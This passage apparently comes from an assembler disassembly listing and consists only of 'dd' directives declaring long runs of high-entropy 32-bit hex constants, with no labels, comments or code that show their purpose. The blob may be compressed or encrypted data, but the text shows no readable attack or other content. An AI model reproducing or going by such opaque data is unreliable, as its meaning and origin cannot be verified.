		dd 4E575FBDh, 40BBC980h, 0F80353E9h, 0B41A17E7h, 2B9DC90h
		dd 0CB6F4CDFh, 1C48h, 0CC62B72Dh, 15AB7E7Ch, 63F920C5h
		dd 0AE44ED13h, 0F68C9D5Eh, 0AA5174DDh, 6599E97Fh, 1BE636CCh
		dd 0CF308016h, 0DEF7CC62h, 7C240DF1h, 2AAF955Ah, 57AA35C6h
		dd 8EDE74DAh, 0D52AC071h, 0DA91FB2Ch, 76FC26EDh, 21D8A651h
		dd 0D45EC13h, 0FBC3A364h, 585E5A78h, 0D42DD782h, 0D00E409Bh
		dd 0B9000000h, 51AE39C6h, 4B2D7AE0h, 432C79B0h,	819D8D31h
		dd 3C74F456h, 91DA3451h, 1EC93654h, 6C0451E0h, 0DF207006h
		dd 5E890552h, 142237EEh, 5EF643E6h, 0DE503B26h,	3E535176h
		dd 0DE583C29h, 12E05A78h, 78DE9F83h, 5135225Ah,	0D95A78DEh
		dd 538B590Bh, 0F7E17745h, 97A55CCCh, 0E67ECB4Eh, 326AAF36h
		dd 6DD4321Fh, 8654575Fh, 0A53AC1CFh, 0DC72D859h, 96BA6F8Ch
		dd 0DF0307E0h, 69C76B48h, 0C00001Bh, 5BAB41D8h,	0A4F48A9Fh
		dd 0F242D841h, 3D8D230Eh, 0BCD56BBEh, 5ECB3053h, 0AB8678C8h
		dd 0F53CC515h, 41F00F5Fh, 0D0BDD6ABh, 5A7C24ECh, 0BF098E74h
		dd 0AAE24FB1h, 15CC5D9Eh, 68169403h, 9BD341F1h,	8BA659A9h
		dd 81ACC2D4h, 0F475D660h, 0C675CABCh, 0E150AE39h, 0DABEAB94h
		dd 625491D3h, 11C82E94h, 1BC96BFFh, 0DB139831h,	82AF5032h
		dd 123C2DECh, 5FD22DE1h, 0B13442F9h, 42462A17h,	0CE5492h
		dd 624F629Ah, 5177511Fh, 0EB6CD9A7h, 0EE075F7Fh, 9D54C4EFh
		dd 71BE6B8Fh, 0A18EA1D9h, 13ECEC5Ah, 43BF0CDAh,	4F1A810h
		dd 19D4044Eh, 3B4900CEh, 80D76DC4h, 6DA58C72h, 6F939E61h
		dd 1C8F7111h, 0A1DA7E5Bh, 0D400001Ah, 23730910h, 6CBC52D7h
		dd 0BA0AA079h, 555EB46h, 849D33F6h, 2603F81Bh, 73BE4090h
		dd 0BD748DDDh, 928D727h, 98859E73h, 5A7C25B4h, 0C6D1563Ch
		dd 2FABF839h, 0F0DD9404h, 517700C5h, 2AE97F4Dh,	70D80B43h
		dd 0F89CCB9h, 4311575Eh, 5E827E8Ch, 60338D71h, 0E1471560h
		dd 0FE5FE0A9h, 0EE9EEEEDh, 0AF9C53C5h, 24F69A68h, 51CD1AE8h
		dd 12FFB626h, 2ADDB25Ch, 5D75C0DCh, 9861BA09h, 58667B32h
		dd 455189A8h, 91E177BAh, 0EB9FC36Eh, 7D0B852Dh,	1A0AFCA0h
		dd 796B0000h, 40BA0AA0h, 0E20353E9h, 0AF51A137h, 5F9CEC82h
		dd 0B21B34CAh, 27BD6C8Fh, 740A27D7h, 0BE54DD24h, 0AA0916Eh
		dd 4B2F1C35h, 0D35A7C25h, 39C668EDh, 42FABF8h, 0BAC8DD94h
		dd 8A0ED44h, 5189A858h,	76FC4766h, 0E3794751h, 0CDF65824h
		dd 0FA92A45Bh, 23C98A4Eh, 0ABC0D30Bh, 5834A499h, 0D40CD4CEh
		dd 5E05A6E9h, 0F3602E57h, 6DC43C4Ah, 65508820h,	0D407C157h
		dd 6D2494BFh, 0EDEA3980h, 0BA2B4F9h, 3529FBD2h,	17E5F32Bh
		dd 0B3254ECAh, 0AD590FFCh, 0BD9FFD5h, 2EB94654h, 0F25710D3h
		dd 0FBC7D927h, 6A782F95h, 7CAD4E91h, 95ECDE16h,	7FB77A87h
		dd 81A58C73h, 368E9413h, 49E48865h, 2C000019h, 7BCB61B8h
		dd 0C414AA7Fh, 1262F821h, 5DAD43EEh, 0DCF58B9Eh, 7EAB5073h
		dd 0CB6698E8h, 151CE535h, 61D02F7Fh, 0F0DDF6CBh, 5A7C270Ch
		dd 0C629AE94h, 0E150AE39h, 4996FC94h, 7B329ACDh, 76D5038Eh
		dd 0A73D0B51h, 95BE90E8h, 3C7F6C23h, 0C4575DEAh, 920889F6h
		dd 0FAB5A1A3h, 0BBA85FC9h, 5A87CC74h, 5DD926F4h, 0A084712Ah
		dd 286389CCh, 2F3DF45Ah, 3B1F0CCCh, 0C36389CDh,	0AA428FF5h
		dd 0BC725F72h, 37606EE3h, 0C4063025h, 8CC4E286h, 0EBF9B07Eh
		dd 37871D14h, 594569C8h, 37D5F4AFh, 18A6B65Ah, 15CF0000h
		dd 0DC1E6E04h, 7E67B74Dh, 4BB5059Bh, 0FB0050E6h, 167F982Eh
		dd 8B2108F3h, 0D86EC33Bh, 22B87988h, 6E042DD2h,	0AF938099h
		dd 375A7C27h, 39C6CC51h, 42FABF8h, 0DBC8DD94h, 5491D3F7h
		dd 6679B17Fh, 76D7BE79h, 0E2784651h, 88B8798Bh,	0C225804Ch
		dd 0F05E0F8Ah, 0B19E55C7h, 575EB46Eh, 0BEFDCF1h, 936060D9h
		dd 45EC15C5h, 1A2860F8h, 5E87954Ch, 11BA83BBh, 0FA990AFFh
		dd 0A6DE27FCh, 28F51CBBh, 150217D3h, 0F42A9C31h, 0DB3EBB9h
		dd 5CBD28DAh, 5A11770Fh, 0FA4266Dh, 0DF8AA6F1h,	9047AF44h
		dd 0E9D21F85h, 3B03E7D4h, 0BD8BFA11h, 44B4DF85h, 51EAA08Dh
		dd 5065F6F6h, 0F8737F63h, 13907FFh, 606E25F3h, 0ACFC929Fh
		dd 0EEBADE53h, 0B63F6D23h, 17CE35D9h, 3DA70000h, 4F646DCh
		dd 0A63F8F25h, 738DDD73h, 23D828BEh, 0EE577006h, 63F930CBh
		dd 0B046EB13h, 0FA90A160h, 46DC55AAh, 876B5871h, 0F5A7C27h
		dd 39C6A429h, 0CE3341F8h, 6822B63h, 53DE21DDh, 0A64936EDh
		dd 0AE517B9Eh, 0E41B29E0h, 3488B74Dh, 245A7C21h, 0C5D38AECh
		dd 12AAF73Ah, 0C3E5335Eh, 467EF25Ch, 0E6EBFD54h, 3DC69621h
		dd 0DA4F2AB6h, 5AC03D82h, 0FAE91622h, 1C8514F1h, 708E3E84h
		dd 0DBC55BC1h, 9C8940A8h, 576611F9h, 0C475E501h, 11EF3309h
		dd 0CDDFF4ABh, 0C0D1A93Dh, 0BECA0208h, 2436ED3Ch, 3C8C6AF8h
		dd 0F4E61EFAh, 1CD356A4h, 0E1361A07h, 0F0BE6065h, 0D22D0FB8h
		dd 0B7773B5Fh, 6441DEFFh, 1707C0h, 0A3766E00h, 0EC3DBD0Dh
		dd 3ADF0656h, 85AC54A4h, 0CD5C9FEFh, 92B51E37h,	0DA2AC069h
		dd 27770D24h, 71C157DAh, 380DA38Eh, 284E321Fh, 0F0D65A7Ch
		dd 47FB2C6Bh, 452E7B9Eh, 91D37458h, 0C82EFC54h,	1BBEAB62h
		dd 23517B9Fh, 6F909E55h, 21A08471h, 5A285A7Ch, 0F5075EF4h
		dd 34C7E537h, 38DE1611h, 0FAE79E10h, 5A7CBA2Ah,	0CE8FDCAAh
		dd 5A7CB9EFh, 0D927358Ah, 8E5C2058h, 0D643A2B0h, 1E0CB69Eh
		dd 41ED4096h, 98000000h, 0DB92E42Ch, 91D416EEh,	7BC89654h
		dd 91D3DABAh, 996F7554h, 7CF844EEh, 222545h, 0BFD00000h
		dd 0A9E150B1h, 91D3DFBEh
		dd 2C9CC754h, 8F736075h, 175491D3h, 11FE1149h, 5176C72Ah
		dd 71C65C2Ah, 0DA91FB2Ch, 76E3BEEDh, 0DA263E51h, 0F441D80Dh
		dd 4390F65Ch, 0B8499E61h, 4A5C1379h, 43AEDBDEh,	5F433028h
		dd 0E75A79B2h, 897BB319h, 4C301D32h, 0D45A79B2h, 3DC2CE06h
		dd 36C5A7F4h, 2BDB56A9h, 3FF65CD5h, 1562CF31h, 0EA9C457Dh
		dd 0EE1120B6h, 8A778C43h, 5A79B2A6h, 3628602Eh,	32CE19E6h
		dd 0D04C99FFh, 917E35A7h, 575EBA3Ah, 656ECBAh, 2AEB38F9h
		dd 38765C6Dh, 0D5220FEFh, 0DA27F2F3h, 4BE6F428h, 0E32BF25Bh
		dd 0FB7BE10Dh, 0DD2231C7h, 0E8211006h, 3B651918h, 0FCB319DCh
		dd 0B438C0EAh, 538B4449h, 43EE1161h, 0AC7D7E8Ch, 0E68FC75Fh
		dd 0E835FC04h, 49E7F543h, 81088937h, 2E00B47Dh,	0E8F42CABh
		dd 4E631A17h, 972F7D61h, 3EE905D8h, 9EACCEDEh, 1E1048AEh
		dd 0B30031CEh, 0E59C0C37h, 7C2FC1F8h, 0DD7341D5h, 0A9887886h
		dd 808CC45Ch, 7C65B27Fh, 88A15967h, 3014A33Bh, 0B8DE7E54h
		dd 6BC63AEAh, 5AD72733h, 0CAD85B0Dh, 0D9BDAA36h, 61DE7E53h
		dd 48E02D93h, 0A7BE4C10h, 0F343D958h, 5CD8250Ch, 1D0AC12Bh
		dd 0DB63789Eh, 0B9708B99h, 58577381h, 8CDF2C7Bh, 0B10197FDh
		dd 0D596E34Eh, 0D4654EF5h, 0CCD5E7E4h, 8F3CC0B3h, 0D422E61Eh
		dd 19AF827Dh, 42F938C9h, 2D65CC34h, 0D059A284h,	33170419h
		dd 0BBF4654Ch, 380CB5EDh, 5EA3B248h, 14ED3DD3h,	12EED01Dh
		dd 0BC0910D5h, 0F907BE24h, 4E48DFECh, 0B23F903Ch, 0B96B144Ch
		dd 21E07785h, 0B475910h, 0C275FB8Dh, 0D62D1F57h, 0C4FC1DC8h
		dd 31E849B8h, 754DD23h,	128E376Fh, 0ABC077E1h, 0BDF8C999h
		dd 8E6C4A94h, 12FD359Bh, 0F14AA0E3h, 0A3489563h, 51B08755h
		dd 5FA4AE0h, 2FDDF2Ch, 1E0EE22Fh, 0AB8679C8h, 1415E6F4h
		dd 5F72FC7h, 0C6132FD9h, 3310E0h, 0C6BB0000h, 2DA9F63Bh
		dd 0C6DB92FAh, 0D3E0C4B1h, 9A685491h, 0C4A47762h, 12275176h
		dd 78EA4125h, 44FBC95Ah, 78EA7357h, 0F52DFB5Ah,	718319E7h
		dd 12h,	0F63BC6D4h, 92FA2DA9h, 0FE8BEEDBh, 45135176h, 0B1BF5AAFh
		dd 78A69350h, 0B1BC9356h, 0CF4A9B4Bh, 0FD511C97h, 431514CAh
		dd 9411B6E9h, 9669772Eh, 7EB64E9Bh, 0C83B7E6Bh,	0A7C35177h
		dd 3514F260h, 44B1174Ch, 0B7FDFC3h, 34A4CFA6h, 0AE49907Dh
		dd 0B1C94C12h, 0FE96E34Eh, 1C82974Eh, 0B82053CFh, 1DDEEC01h
		dd 33E9D40Ch, 0B351F9C6h, 80CD649Bh, 7FCC5D9Eh,	641B81E7h
		dd 0F288A956h, 0B0D45DA2h, 0E469B00Ch, 99DB7F5Ch, 0DC000013h
		dd 2B7B1108h, 74C45ACFh, 0C212A871h, 0D5DF33Eh,	8CA53BEEh
		dd 2EFB0023h, 7BB64898h, 0C56C95E5h, 1120DF2Fh,	0A08DA67Bh
		dd 5A7C2CBCh, 0E7D95E44h, 5491D303h, 0A158C0F3h, 49A37A8Ch
		dd 7F2C553h, 0FC75E4CFh, 0A7755176h, 121FE2F0h,	5CD52C7Ch
		dd 5FD22D0Fh, 0EC998B3Bh, 0D47855E4h, 1338h, 0DC72A73Dh
		dd 25BB6E8Ch, 730910D5h, 0BE54DD23h, 69C8D6Eh, 9A6184EDh
		dd 55A9F98Fh, 0BF646DCh, 0BF409026h, 0EE07DC72h, 7C2D1D01h
		dd 3ABFA55Ah, 0DA91FB2Ch, 1080DC8h, 0EC24B026h,	3E7DECD9h
		dd 657D5177h, 0AF479495h, 76849249h, 1DEAFCB3h,	3C2AF1B3h
		dd 0AEFEF028h, 0AE90DD4Ch, 0EE93E051h, 71B84351h, 72BF4224h
		dd 0EF278D25h, 7486DD2Bh, 0A6601FB5h, 228FF92Ch, 62AF7A80h
		dd 799EC2A1h, 13E9CB5Ah, 63B62F3Dh, 4EDB1F2Bh, 0EEA98597h
		dd 0C889345Dh, 0D0841146h, 0CA0281C0h, 6D7288D8h, 0EE3BA178h
		dd 588D4172h, 4C8E74C1h, 82344055h, 934AB016h, 0EC3D1881h
		dd 679FC0BDh, 0D6386754h, 9EB35762h, 6357CDB1h,	7F635060h
		dd 7606357h, 81B98739h,	0E0EEA573h, 7C21C41Fh, 8FDCFFD5h
		dd 3AEE59ECh, 0AD13C131h, 0F938C717h, 950730ACh, 0D58DF1DEh
		dd 0FE105D4Ch, 3C9D8AE9h, 8D6E1E30h, 3E56649Ch,	8D2572A7h
		dd 9D627027h, 95A7FE94h, 0FBF90205h, 95A1D929h,	0FE7AC76Ah
		dd 9AAC63D5h, 0E592F7E2h, 9CAFE7F3h, 31DE24AFh,	200D2C63h
		dd 6C33E33Ch, 6C90F6C4h, 0D331B464h, 0F58B2F0Ch, 80000011h
		dd 0CF1FB564h, 1868FE2Bh, 66B64CCDh, 0B101979Ah, 3049DF4Ah
		dd 0D257A4C7h, 1F12EC3Ch, 69C83989h, 0B57C83D3h, 44314A1Fh
		dd 5A7C2D60h, 0BF7D02E8h, 97E44DB1h, 1DCC7FFh, 845491D4h
		dd 57A48576h, 41F00FBFh, 2D04FD09h, 3B2E6476h, 0B9A1C5DEh
		dd 0E0A0FAECh, 447CE246h, 0F8EDFB52h, 9F2D421h,	0D53BD320h
		dd 0ECCF79Dh, 1504FE70h, 78873714h, 0AF9C53B9h,	517C8253h
		dd 0EBCFBCDBh, 735A7D04h, 7A883FA5h, 0C318AE6Bh, 0FCF040EAh
		dd 1B32145h, 2CCC0000h,	0CBD990FAh, 0B2C3FB36h,	0D3F3D2BFh
		dd 5C6E5491h, 0CF1C3568h, 1ED50D5Dh, 0AABFEDA2h, 91D3D9BDh
		dd 5B936154h, 0B1BF3548h, 0FA92DF4Ah, 317E9B4Ah, 4A9D6199h
		dd 94E62CEEh, 32FCCBDDh, 98BCA08Dh, 76445492h, 6CCB6EC2h
		dd 70019CB8h, 0ABE39DE1h, 2C35369Ah, 9DA8FF9h, 0F050EA62h
		dd 3931467Ch, 0DC000000h, 0DD94E62Ch, 0D3F7DBC8h, 677F5491h
		dd 0B54D9A97h, 0BF06174Fh, 91D3F3D2h, 335C6E54h, 0D213C36Eh
		dd 1DEBF931h, 9CAABF68h, 8697CF62h, 45FA1FC6h, 34046DFEh
		dd 67000000h, 0DD94E62Ch, 0B0FD2CCFh, 0BFCFE018h, 0C4A895AAh
		dd 4C5491D3h, 7C5B467Eh, 535491D3h, 0AABF22D7h,	16CD649Ch
		dd 91D34529h, 0C7FFCD54h, 0FA1FC6B6h, 0EA6DFE45h, 467CF050h
		dd 0AA8E7B90h, 325791D3h, 7FBA2C64h, 63000000h,	4A37A955h
		dd 5791D366h, 82BA20EEh, 8FF92C71h, 0FC35CAD8h,	118CDAFh
		dd 7EB61CB4h, 98AABF6Dh, 0FAB0EDBh, 2A154D9Fh, 54923B4Bh
		dd 3846FDCBh, 4A2E1BADh, 0D254923Bh, 0B9519E04h, 3C311502h
		dd 0EBB95492h, 0AABFA2B3h, 81CE639Ch, 0D3765AE9h, 89FC5491h
		dd 89F17DBCh, 9C5321D3h, 9251CBAFh, 4D855354h, 0EA17253Ah
		dd 0B262FA47h, 199E633h, 34C6B8C9h, 6DFE40F5h, 4104h, 0F92C6700h
		dd 0CE3A3A41h, 1DB50217h, 9832BA69h, 0D2BF7D32h, 5491D3F3h
		dd 0BF994ECAh, 4DB1BFACh, 68B134E4h, 53D62430h,	0BD6C8E9Ch
		dd 8FA0D870h, 6B596BFEh, 0D99A1B7Fh, 781304B8h,	0EF8FEDE3h
		dd 4D04A6B7h, 65FFFFFEh, 9A4CEA53h, 81B9709Bh, 91FB2C70h
		dd 13CAC8DAh, 240D26BAh, 55A28774h, 857285BDh, 517C98E2h
		dd 57651CEAh, 9F389A8h,	0CBB86FC1h, 5A7D1BE7h, 8468556Ah
		dd 0C5A7D1Bh, 2AF8063Eh, 0F2DFF4DDh, 5A7D1C0Eh,	6A5B9A94h
		dd 5A0C03CEh, 8769548Ch, 2A5A7DC7h, 0F9A3D624h,	0DA40970Ch
		dd 38h,	0D407E785h, 76895491h, 39F8586Ah, 0B87C98Ch, 9243987Ch
		dd 0F2082054h, 0EC52EA37h, 0E2C1F086h, 0CA549243h, 1819E599h
		dd 0F70EFBB2h, 0F751776Ch, 0AB819329h, 0E4000000h, 0DA91FB2Ch
		dd 76F90AEDh, 7B7F8D51h, 91C961AEh, 0F0FEB583h,	3A8A2011h
		dd 5DE20C7h, 0C7766D86h, 529F0594h, 8B0754BAh, 4C39F058h
		dd 57630225h, 1220D7A5h, 5CAC42EFh, 0C7D58CA5h,	18C1F938h
		dd 4A016B9Ch, 4D4FF35Dh, 0F4E1F65Dh, 664DD110h,	0AE7B8098h
		dd 2B63C961h, 35FC051Dh, 33EA50E8h, 0A057DA25h,	79C65392h
		dd 67B7A9E1h, 65759998h, 3D917C7h, 0EA68226h, 15CF0000h
		dd 0DC1E6E04h, 7E67B74Dh, 4BB5059Bh, 0FB0050E6h, 167F982Eh
		dd 8B2108F3h, 0D86EC33Bh, 22B87988h, 6E042DD2h,	0AF938099h
		dd 375A7C31h, 39C6CC51h, 0ADC2ABF8h, 91D3DCC0h,	8E725F54h
		dd 165491D3h, 90C89648h, 0FFB67B84h, 0EB230EF1h
		dd 687E6E42h, 750B26D9h, 7CF89F49h, 2AD1DF45h, 0E21AB2FFh
		dd 4570h, 0FB2C1B00h, 0A6EDDA91h, 265176DCh, 0D6290B58h
		dd 0F885000Dh, 21762A07h, 7F6C23DAh, 5A79009Bh,	59EF5523h
		dd 0EE3BF609h, 167DF305h, 0B53D210Eh, 0F7C55A79h, 0A8EC843h
		dd 91FB2CD2h, 720AEDDAh, 0C492575Eh, 34C6D92Eh,	8CD950ABh
		dd 0A8F88EF4h, 0C98AD752h, 5491D3F4h, 10A68B76h, 0D48BFD26h
		dd 0D9BDAABFh, 615491D3h, 29705B93h, 0A9517B9Fh, 0CF1624DBh
		dd 1BE4FB00h, 0CB31C916h, 0EA7ACF65h, 45FCF040h, 15521h
		dd 0B1BFCC00h, 0FD95E24Fh, 39F51FC5h, 4C0167C2h, 0D3F3D2BFh
		dd 4ECA5491h, 0EACBF99h, 0ADBF5FFDh, 7E4470B0h,	7E245C99h
		dd 0BF31E648h, 0CD649CAAh, 7559E880h, 0FD5491D3h, 585BF72Fh
		dd 0D3725643h, 2CFA5491h, 0F92CE3F4h, 6209DA8Fh, 7CF050EAh
		dd 4C3146h, 2CDC0000h, 0C8DD94E6h, 91D3F7DBh, 0FDB17F54h
		dd 8885A9F1h, 8192CA88h, 0D3F3D2BFh, 57735491h,	4836A046h
		dd 6F248A65h, 0F598AABFh, 847889E4h, 0DD43EE10h, 115ED32Dh
		dd 0C6304179h, 0FE45FA1Fh, 3D046Dh, 57650000h, 0A13986A3h
		dd 0E62C5869h, 30CFDD94h, 9DEA47B7h, 56679F05h,	0D3F3D2BFh
		dd 606E5491h, 58418E9Bh, 91D3876Bh, 0DB410F54h,	0BB70ECA3h
		dd 0B1BFACBFh, 0FC94E150h, 0EC2DB8C4h, 0EA6DFE37h, 467CF050h
		dd 4231h, 0F92CDC00h, 0D2BFDA8Fh, 5491D3F3h, 8CA55B73h
		dd 8C41A73Fh, 34C6ACBFh, 91DE53ABh, 0FEDE93F9h,	8569566Bh
		dd 85491D3h, 91D4371Bh,	3FF1BF54h, 0BF283971h, 35E534B1h
		dd 821A67CAh, 2E7C4Ah, 0BFDF0000h, 93E049B1h, 0E81DC3FBh
		dd 0D2BFCB80h, 5491D3F3h, 886C596Eh, 105491D3h,	0D7530A42h
		dd 0C6ACBF22h, 0FE40F534h, 91885D6Bh, 6374AC44h, 0FFFEA204h
		dd 0AABF67FFh, 91D3D9BDh, 949D6354h, 36DC14E2h,	0F7E49B0Dh
		dd 517B9F54h, 7BB64957h, 0B0673543h, 9ED643A2h,	0AF827D8Bh
		dd 12F6E3F8h, 9A5A7C22h, 30E737Eh, 2288184Ah, 6DA58C72h
		dd 0F779917Bh, 0C26F5340h, 29F75A7Ch, 8C705D72h, 0F5A7CC2h
		dd 7CC33E22h, 46F8C65Ah, 0D6974078h, 5A7CC3F4h,	90304297h
		dd 47F96491h, 9DFA3DBh,	9648B45Eh, 219540h, 0E7400000h
		dd 5491D407h, 25BB7689h, 23A6BCCEh, 29495856h, 9291583Ch
		dd 0AC12E054h, 0D3A674h, 2C090000h, 7AB747FBh, 782F952Dh
		dd 0D3927663h, 4C1A5491h, 0CD140114h, 4D5176E2h, 0A5B3C87Fh
		dd 0EF87D455h, 0DB56ABB7h, 46EB1624h, 46E317F9h, 66B6A8E0h
		dd 0E233459Bh, 0B439923Fh, 16A88C1Bh, 62305A79h, 893345FCh
		dd 88547DECh, 19953E76h, 0DAC77EEEh, 57631EAFh,	0A4B26937h
		dd 0EE3ED45Dh, 7F97D013h, 66716467h, 7FE544B6h,	1B8DB632h
		dd 260D7764h, 0FB105D4Dh, 4DA72A0Eh, 0ACE4B266h, 0B19D09Eh
		dd 3178EFF4h, 8388F60Ch, 4D52B296h, 66C3A66h, 45BA0AA0h
		dd 451CC8ECh, 8F6CD918h, 0B2BEBh, 7F9A4A00h, 0C86199E9h
		dd 1603E232h, 61D03080h, 0A9807BCBh, 6E91FA13h,	0B6069C8Dh
		dd 353E948h, 4D9D33FEh,	14E97FB2h, 352A0EFBh, 0CCB25A7Ch
		dd 0B3ADBF47h, 9D24343h, 53ACB8F0h, 0D1BCA08Dh,	76445492h
		dd 1EE1C310h, 2F2C613h,	8FA25DF4h, 0F831CAD8h, 0E9DB13ABh
		dd 19428092h, 0F657D432h, 2D7A9F46h, 0CB755D95h, 0B457C58h
		dd 7C2509F6h, 0BBA85492h, 54927BD7h, 11DF915Fh,	5067D9h
		dd 2100000h, 4EE633FEh,	0FB2C0516h, 8AEDDA91h, 125176C5h
		dd 0EF744h, 0AF64E6E5h,	52DD7018h, 624D38ECh, 22D42041h
		dd 0C221DEEAh, 0A0576BA7h, 0A63CA204h, 3B88A956h, 6D2494BFh
		dd 2BB54A58h, 79C65A3Eh, 0AE14E25Ah, 0D5448B76h, 0F6C4575Eh
		dd 34C60B60h, 55305FF5h, 0D85491D3h, 0D3F2D6C3h, 0AC7A5491h
		dd 5F56AFF8h, 0EE267224h, 0BDC41FE2h, 7D614E01h, 55492C9h
		dd 8AE48337h, 7F7F8F98h, 288E204Ch, 5DAA8778h, 9AA85FC5h
		dd 0A294CC65h, 8ECF8FB8h, 223C7EB3h, 1401B81Eh,	517C74D0h
		dd 0C5D38A58h, 0E63F920h, 0FCF040EAh, 86E8045h,	7E97FC83h
		dd 0D751F567h, 22502023h, 10878EAh, 2C230000h, 0BFDB90FAh
		dd 91D3F3D2h, 994ECA54h, 0B1BFACBFh, 0C931E150h, 93642860h
		dd 0D75AA5B3h, 0E62C8E9Fh, 3536DF94h, 0DA8FF92Ch, 5E4B6009h
		dd 5491D37Ah, 0EBFC3402h, 7CF050EAh, 263146h, 2CDC0000h
		dd 0BFDF94E6h, 91D3F3D2h, 0F0A57354h, 1FC6ACBFh, 93E051B0h
		dd 0FEE095FBh, 42046Dh,	57650000h, 3E4F87AAh, 0DF94E62Ch
		dd 0DF5ADBFh, 0EEB3EC89h, 808EA3B6h, 8365B27Fh,	0D068B57Ch
		dd 0EA47BA6Ah, 0E2CD059Dh, 54921803h, 0BFA95EDAh, 0FA1FC6ACh
		dd 4FB1BF45h, 5A3E2BE2h, 0E25491D3h, 7708DC14h,	7CF050EAh
		dd 263146h, 2CDC0000h, 0BFDA8FF9h, 91D3F3D2h, 0F0A57354h
		dd 0D9BDAABFh, 615491D3h, 35485B93h, 40F534C6h,	22046DFEh
		dd 67000000h, 0DA8FF92Ch, 0D3F3D2BFh, 4ECA5491h, 9CAABF99h
		dd 8697CF62h, 0DF4AB1BFh, 0B6C2FA92h, 0FE30E544h, 0BDAABF6Dh
		dd 5491D3D9h, 1CE39361h, 0F830C815h, 0FFFEDF2Ah, 0B1BF8DFFh
		dd 98E534h, 87F122C8h, 9F40E3D0h, 3048517Bh, 7D1562CFh
		dd 3D4B6017h, 29356DC4h, 0DBC55BD6h, 758A41B7h,	629A9767h
		dd 7C219377h, 4D1B5Ah, 7C215D3Fh, 1514E75Ah, 161BE6C8h
		dd 0D624C9h, 8DEE47Bh, 96B6B35Dh, 159440h, 2F3D0000h, 14255DCCh
		dd 91D407E7h, 0BB768954h, 0D61325h, 2C760000h, 75B447FBh
		dd 6E523F28h, 0F65491D3h, 0E912C228h, 0F55BF340h, 2714293Eh
		dd 5491D343h, 0DAC5FDCBh, 5176F70Bh, 0F806BD8Bh, 42922809h
		dd 3C2572BFh, 1360D12Eh, 6A9D437Bh, 80E643B8h, 0C43DDCC9h
		dd 253D5762h, 740C59C0h, 5542570Eh, 60634671h, 0E0F32BF9h
		dd 1AE5B9CBh, 0C0C5A996h, 7F4D6063h, 150037CBh,	130D1DDh
		dd 70A93C4Ah, 61538B23h, 0F441F011h, 26DD4F78h,	4D96CF39h
		dd 3AC4D25Dh, 99B1BFF7h, 0E77FCC65h, 43BCCA81h,	0D109A1EEh
		dd 0E24FB0BEh, 2E03FC4Ch, 1780E40Ah, 0CB6F4CD9h, 7D8h
		dd 3CD2479Dh, 851B0EECh, 0D369B035h, 1EB47D83h,	66FC2DCEh
		dd 3AC1E44Dh, 0F50959EFh, 0AB56A63Ch, 5FA0F086h, 4E673CD2h
		dd 7C377D61h, 9A1F055Ah, 0ABF839C6h, 4EB136C9h,	98FE96E3h
		dd 0FBDFCCE1h, 835491D3h, 509D946Bh, 59A252B8h,	0B3EB83D0h
		dd 0B046360Ah, 95825EA1h, 5491D3B1h, 6F056B39h,	7CFC9943h
		dd 337A45h, 0E230000h, 91E03D21h, 0BFF7C554h, 91FB2CAEh
		dd 89C4C8DAh, 6FC2B8h, 5DC8B5C8h, 6551776Bh, 0A9894A97h
		dd 445A796Dh, 13BDA83Eh, 0F4409B66h, 53h, 91FB2C9Fh, 49B7C5DAh
		dd 4F039BE8h, 7CE3D113h, 3B265E6Ch, 51779440h, 0B5C37A48h
		dd 0B19AE74Ah, 7998E0C4h, 349A685Ah, 8E7153FCh,	1CDEECA3h
		dd 93E3D50Dh, 0FC78C56Ch, 95AA61CBh, 82BA7787h,	5EBBC897h
		dd 0C9354357h, 0E849B868h, 0BDCB039Bh, 570459EFh, 0A10B3C12h
		dd 980D8EAh, 50C3BC74h,	3D812C8Dh, 81B91FDAh, 0F3E816Eh
		dd 0F8C65177h, 0FAC90A8Bh, 8EB99ACEh, 0A759671Eh, 6DA53D8Ah
		dd 87266D5Ah, 0D8A617D4h, 0A08DA28Bh, 20D686BCh, 36342844h
		dd 49D20BC8h, 0F4DF2FE3h, 60C862AFh, 0E7518228h, 51D82230h
		dd 21346C04h, 2E03FE0Ch, 261149E1h, 1DBB2970h, 5D6B22F0h
		dd 0A9F98FA2h, 837C8A56h, 4C3B1FAEh, 0A4C326BDh, 0BD4BD3B7h
		dd 278D5B26h, 4C5B9DC1h, 0C8A518A8h, 65B24h, 4FCA1A00h
		dd 989169B9h, 0E633B202h, 31000050h, 79B04B9Bh,	3E61CAE3h
		dd 86D66CBDh, 0D323B978h, 1D6D032Eh, 0E4B94FE2h, 39FADECBh
		dd 9C825A7Ch, 0F839C617h, 5B3F2C41h, 0E55491D3h, 2FC71415h
		dd 0FFFFAF7Dh, 154DE532h, 0BE5B8A6Ch, 2C05F907h, 679747DFh
		dd 0ADE57DCAh, 36A6D1BBh, 9EF3927Fh, 25F3517Bh,	20E1EFD8h
		dd 18CDD911h, 7625DD01h, 9673E4E9h, 5E3F2h, 0C7529200h
		dd 1019E131h, 5EBB2A7Ah, 0A98878C8h, 0F138C313h, 0B6D9425Bh
		dd 0FE4EE445h, 4B9B3100h, 95E57BB6h, 5C31C76Ah,	39725643h
		dd 14FA5A7Ch, 0BDAABF8Fh, 5491D3D9h, 0B55B9361h, 76631A82h
		dd 517B9F4Bh, 0CFB805D3h, 0A6F33EC1h, 1BCAD60Eh, 7632DAFEh
		dd 5D3AE4E9h, 587B9h, 23F6EE00h, 6CBD3D8Dh, 0BA5F86D6h
		dd 52CD424h, 4DDC1F6Fh,	12359EB7h, 5AAA40E9h, 0A7F78DA4h
		dd 0F141D75Ah, 0B88D230Eh, 3ACEB29Fh, 70565A7Ch, 91FB2CEBh
		dd 0A0B3C5DAh, 4CD654CAh, 8E8165F4h, 3B095492h,	0DC03F003h
		dd 5C517C5Ah, 865F418Eh, 0BBA76F93h, 0F4D1E4E8h, 52B50h
		dd 7F9A4A00h, 0C86199E9h, 1603E232h, 61D03080h,	0A9807BCBh
		dd 6E91FA13h, 0B6069C8Dh, 353E948h, 4D9D33FEh, 14E97FB2h
		dd 3B2A0EFBh, 0CCB25A7Ch, 0AA39C647h, 0CE70DF9Ch, 0F33EC285h
		dd 42A80EA6h, 0FBEC13F5h, 78C52B06h, 0E64492C6h, 1CE8BFD1h
		dd 442F069Ch, 92ABD1B5h, 538B5954h, 0E379B847h,	0EC56C93h
		dd 0A8CADBFCh, 9210D7BBh, 0DD915F54h, 9B9A29Bh,	59023AF7h
		dd 96836270h, 2894735Eh, 0BB9D5492h, 48E9162Dh,	0AD4D5BB2h
		dd 5F972F7Ch, 671E8EB9h, 7BF44B7Ah, 46FDCB51h, 0D46AC738h
		dd 69B67B84h, 0E3DF6E80h, 0F226D0AFh, 769773Eh,	5E968FB4h
